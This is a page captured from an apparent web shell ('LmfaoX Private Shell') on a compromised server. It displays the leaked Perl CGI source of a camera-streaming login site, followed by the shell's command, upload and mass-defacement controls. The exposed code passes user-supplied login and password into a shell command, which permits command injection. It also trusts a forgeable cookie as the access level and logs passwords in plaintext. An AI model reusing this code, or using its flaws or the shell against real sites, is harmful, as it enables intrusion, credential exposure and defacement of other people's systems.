LmfaoX Private Shell.

Viewing file: index.cgi.bak (5.84 KB) -rwxr-xr-x
Select action/file-type:
(+) | (+) |
(+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

use CGI::Cookie;
use CGI qw(:standard);

require "users.cgi";
require "cams.cgi";
$lvl = "0";
$rip = $ENV{'REMOTE_ADDR'};

########## Part of auth ###########
authconfig();
$authl = param("authl");
$authp = param("authp");
$logout = param("logout");
$i = 0; $ok = "0";
getcooke($secr);
if ($secr <"1" and $authl ne "")
    {
    while ($i < $usr) { if ( @usrn[$i] eq $authl and @usrp[$i] eq $authp ) { $ok = "1"; $secr = @usrl[$i]; last } $i++; }
    if ($ok ne "1") {system ("echo \"Auth error:   $rip  Login=$authl  Password=$authp\" >> $logfile");}
    setcooke();
    }
logout();
print $ct;
###################################
$lvl = $secr;
$num = $ARGV[0];


print "<html>
<head>
<meta charset=\"utf-8\">
<title>MiraNet Камеры</title>
    <link href=\"video-js.css\" rel=\"stylesheet\">
    <link href=\"videojs-hls-quality-selector.css\" rel=\"stylesheet\">
    <link href=\"skin.css\" rel=\"stylesheet\">
    <style>
        .v{ width: 960px; height: 540px; margin-left: auto; margin-top: 10px; bg: #000000; }
        body{ background-color: 191919; }
    </style>
<style>
input {
  font: bold 14px \"Arial\", Arial;
  border-radius: 14px;
  border: 1px solid #333333;
  padding: 3px 4px;
  background: #333333;
  color: #dddddd;
}
</style>
<style>
p.pv1 {
  font: bold 14px \"Helvetica Neue\", Helvetica, Arial, sans-serif;
  line-height: 14px;
  height:75px;
  margin: 0px;
  display: table-cell;
  vertical-align: middle;
  padding: 10px;
  border: 1px solid #22ff22;
}
</style>
<style>
p.pv2 {
  font: bold 14px \"Helvetica Neue\", Helvetica, Arial, sans-serif;
  line-height: 14px;
  height:75px;
  margin: 0px;
  display: table-cell;
  vertical-align: middle;
  padding: 10px;
}
</style>
</head>
 
<body link=\"#ffffff\" alink=\"#ffffff\" vlink=\"#ffffff\">
    <table border=0 width=100% valign=\"top\"><tr><td width=60% valign=\"top\">";

if ($lvl < "1") {print "<form name=\"form\" action=\"\" method=\"POST\"><p align=\"right\"><font face=\"Arial\" color=\"#dddddd\"><b>Логин <input type=\"text\" name=\"authl\" size=\"10\">&nbsp&nbspПароль <input type=\"password\" name=\"authp\" size=\"10\">&nbsp&nbsp<input type=\"submit\" value=\"Войти\"></b></font></p></form>";}
else { print "<form name=\"form\" action=\"\" method=\"POST\"><p align=\"right\"><font face=\"Arial\" color=\"#dddddd\"><b><input type=\"hidden\" name=\"logout\" value=\"1\"><input type=\"submit\" value=\"Выйти\"></b></font></p></form>";}

if ($num eq "") 
    {
    $i = 0;
    while ($i < $cams)
	{
	if (@camr[$i] eq "0" or $lvl eq "1" and @camr[$i] eq "1" or $lvl eq "1" and @camr[$i] eq "l" or $lvl eq "2" and @camr[$i] eq "0" or $lvl eq "2" and @camr[$i] eq "1" or $lvl eq "2" and @camr[$i] eq "h") { $num = $i; last; }
	$i++;
	}
    }

$stream = @cams[$num];



print "    <div class=\"v\">";
    if (@camr[$num] eq "0" or $lvl eq "1" and @camr[$num] eq "1" or $lvl eq "1" and @camr[$num] eq "l" or $lvl eq "2")
    {
    print	"<video id=\"my-video\" class=\"video-js\" controls autoplay preload=\"auto\" width=\"960\" height=\"540\" data-setup='{}'>
	<source src=\"$stream.m3u8\" type=\"application/vnd.apple.mpegurl\" />
	</video>";
    } else {
    print "<center><h1><font color=\"#ff9999\"><br><br>Не достаточно прав<br>для просмотра этой камеры</font></h3></p></center>";
    }

    print "    </div>
    </td><td width=\"2%\"></td>
    <td valign=\"top\"><font color=\"#ffffff\">";
    $i = 0;
    while ($i < $cams) {
    $i1 = $i + 1;
    if ($i eq $num) { $pv = "pv1"; } else { $pv = "pv2"; }
    if (@camr[$i] eq "0" or $lvl eq "1" and @camr[$i] eq "1" or $lvl eq "1" and @camr[$i] eq "l" or $lvl eq "2" and @camr[$i] eq "0" or $lvl eq "2" and @camr[$i] eq "1" or $lvl eq "2" and @camr[$i] eq "h")
    {
        print "<br><a href=\"?$i\"><p class=\"$pv\"><table border=\"0\"><tr><td><img src=/live/@camp[$i] align=\"middle\" hspace=\"10\"></td><td valign=\"center\"><font face=\"Arial\" color=\"#dddddd\">@camd[$i]</font></td></tr></table></p></a>";
    }
    $i++;
    }
print "    </font></td></tr></table>
</body>

<script src=\"video.min.js\"></script>
<script src=\"videojs-contrib-quality-levels.min.js\"></script>
<script src=\"videojs-hls-quality-selector.min.js\"></script>
<script src=\"jquery.js\"></script>
<script type=\"text/javascript\">
    options = { }
    var player = videojs('my-video', 
	{ fluid: true, controlBar: {'pictureInPictureToggle': false },
	fillAlways: false,
        html5: {hls: { overrideNative: true, } } },
	function onPlayerReady(){ player.autoplay('any'), setTimeout(function() { player.play(); }, 100); } );
    player.hlsQualitySelector({ displayCurrentQuality: true });
</script>

</html>";

################# Auth #####################
sub setcooke {
if ($ok eq "1")
    {
    system ("echo \"Auth success: $rip  Login=$authl  Level=$secr \" >> $logfile");
    my $cook = cookie(
        -name => $cname,
        -value => $secr,
        -expires => '0',
        -domain => $csite,
        -path => '/',
        );
        $cook = sprintf header(-cookie=>$cook);
        ($cook) = split("charset=", $cook);
        $cook = sprintf ("%s charset=UTF8\n\n", $cook);
        print "$cook";
	$ct = "";
#	$lvl = $secr;
	return;
    }
}

sub getcooke {
    my $secret = cookie($cname);
    $secr = $secret;
}

sub logout {
    if ($logout eq "1")
    {
	$auth="0";
        my $cook = cookie(
	-name => $cname,
        -value => '0',
	-expires => '1',
        -domain => $csite,
	-path => '/',
        );
	$cook = sprintf header(-cookie=>$cook);
        ($cook) = split("charset=", $cook);
	$cook = sprintf ("%s charset=UTF8", $cook);
        print "$cook";
	$secr = "0";
        return;
    }
}

sub authconfig {
    $ct = "Content-type: text/html\n\n";
    ############### CONFIG ###############
    $cname = "cooke.videomiranet";
    $csite = "miranet.ru";
    $logfile = "auth.log";
    #$secr = "secret";
    ######################################
}
Command:
Quick Commands:
Upload:	[OK] Max size: 100MB
PHP Filesystem:	<@�
Search File:	regexp
Create File:	Overwrite [OK]
View File:
Mass Defacement:	[+] Main Directory: [+] Defacement Url: